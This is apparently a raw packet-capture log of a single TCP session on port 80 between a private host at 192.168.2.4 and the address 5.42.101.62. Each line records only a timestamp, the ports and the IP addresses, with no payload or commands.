Sep 30, 2024 12:22:28.607090950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.607091904 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.607109070 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.607125044 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.607173920 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.607189894 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.607206106 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.607219934 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.607229948 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.607237101 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.607244968 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.607254028 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.607260942 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.607270956 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.607275963 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.607292891 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.607304096 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.607307911 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.607395887 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.607412100 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.607428074 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.607433081 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.607445002 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.607449055 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.607462883 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.607464075 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.607479095 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.607496023 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.607816935 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.607901096 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.607949018 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.607965946 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.607991934 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.608007908 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.608023882 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.608028889 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.608042002 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.608042955 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.608057976 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.608066082 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.608072996 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.608082056 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.608097076 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.608113050 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.608761072 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.608776093 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.608792067 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.608808994 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.608824015 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.608850002 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.608865976 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.608885050 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.608886003 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.608902931 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.608908892 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.608922958 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.608925104 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.608939886 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.608953953 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.609103918 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.609138012 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.609153032 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.609186888 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.609200001 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.609224081 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.609240055 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.609256029 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.609271049 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.609277010 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.609287977 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.609301090 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.609317064 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.653723001 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.653773069 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.653786898 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.653790951 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.653821945 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.653829098 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.653913975 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.654016972 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.654032946 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.654043913 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.654057980 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.654063940 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.654074907 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.654082060 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.654098034 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.654099941 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.654114008 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.654118061 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.654130936 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.654151917 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.654223919 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.654238939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.654261112 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.654263973 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.654275894 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.654279947 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.654299021 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.654299974 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.654314995 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.654315948 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.654330969 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.654333115 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.654347897 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.654349089 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.654362917 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.654366016 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.654381037 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.654395103 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.654540062 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.654556036 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.654572010 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.654578924 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.654588938 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.654603004 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.654603958 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.654620886 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.654629946 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.654639959 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.654653072 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.654675961 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.654690027 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.654705048 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.654742956 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.654782057 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.654798985 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.654815912 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.654833078 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.654838085 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.654850006 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.654860973 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.654865980 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.654885054 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.654885054 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.654910088 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.654931068 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.655162096 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.655178070 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.655194044 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.655205011 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.655209064 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.655220032 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.655224085 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.655240059 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.655240059 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.655256987 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.655261993 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.655273914 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.655284882 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.655289888 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.655301094 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.655306101 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.655317068 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.655320883 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.655332088 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.655338049 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.655348063 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.655354023 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.655365944 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.655370951 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.655380964 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.655399084 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.655402899 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.655411959 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.655416012 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.655428886 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.655433893 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.655451059 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.655467033 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.655503988 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.655519962 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.655535936 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.655543089 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.655558109 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.655575991 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.685874939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.685890913 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.685909033 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.685934067 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.685940981 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.685950994 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.685966015 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.685981989 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.685981989 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.685983896 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.685996056 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.686000109 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.686019897 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.686037064 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.693625927 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.693641901 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.693658113 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.693680048 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.693689108 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.693689108 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.693696976 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.693723917 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.693723917 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.693726063 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.693734884 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.693742037 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.693790913 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.693790913 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.693794966 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.693809986 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.693851948 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.693880081 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.693895102 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.693909883 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.693928003 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.693939924 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.693943024 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.693955898 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.693983078 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.694001913 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.694016933 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.694031954 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.694051981 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.694061041 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.694068909 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.694077969 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.694103956 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.694111109 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.694139957 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.694153070 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.694168091 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.694185019 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.694196939 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.694200039 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.694215059 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.694219112 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.694237947 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.694262028 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.694616079 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.694662094 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.694664001 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.694679022 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.694695950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.694700956 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.694715023 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.694720984 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.694729090 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.694731951 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.694756031 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.694770098 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.694792986 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.694809914 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.694835901 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.694837093 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.694849968 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.694850922 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.694875956 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.694890022 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.694909096 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.694924116 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.694940090 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.694955111 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.694966078 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.694989920 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.694999933 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.695014954 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.695045948 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.695662022 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.695687056 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.695702076 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.695710897 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.695733070 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.695744038 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.695779085 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.695794106 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.695808887 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.695822001 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.695831060 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.695847034 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.695853949 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.695888996 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.696007013 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.696033955 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.696048021 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.696053982 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.696070910 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.696084023 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.696127892 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.696142912 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.696158886 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.696167946 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.696176052 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.696182013 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.696194887 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.696201086 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.696218967 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.696235895 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.740983009 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.740998983 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.741015911 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.741067886 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.741087914 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.741105080 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.741120100 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.741125107 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.741136074 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.741164923 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.823652983 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.823652983 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.828687906 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.828723907 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.828737974 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.828752041 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.828771114 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:29.533195972 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:29.535590887 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:29.625087976 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:29.625145912 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:29.630202055 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:29.630223036 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:29.630235910 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:30.430701017 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:30.430777073 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:30.447277069 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:30.452202082 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:31.121612072 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:31.121742964 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:31.226816893 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:31.232301950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:31.914865017 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:31.915015936 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:31.946577072 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:31.951482058 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.129152060 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.129173994 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.129201889 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.129218102 CEST	80	52534	5.42.101.62	192.168.2.4
